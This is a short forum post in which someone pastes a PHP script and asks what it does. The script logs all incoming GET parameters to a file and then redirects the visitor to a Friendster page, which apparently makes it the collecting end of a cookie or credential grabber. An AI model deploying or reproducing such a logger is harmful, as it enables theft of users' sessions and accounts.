anyone knows wha this php script means????

header("Location: http://www.friendster.com/index.cfm?fuseaction=user");
$handle = fopen("out.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


this link of the code is here, pls tell me what this means and the
function of this .php file. thank you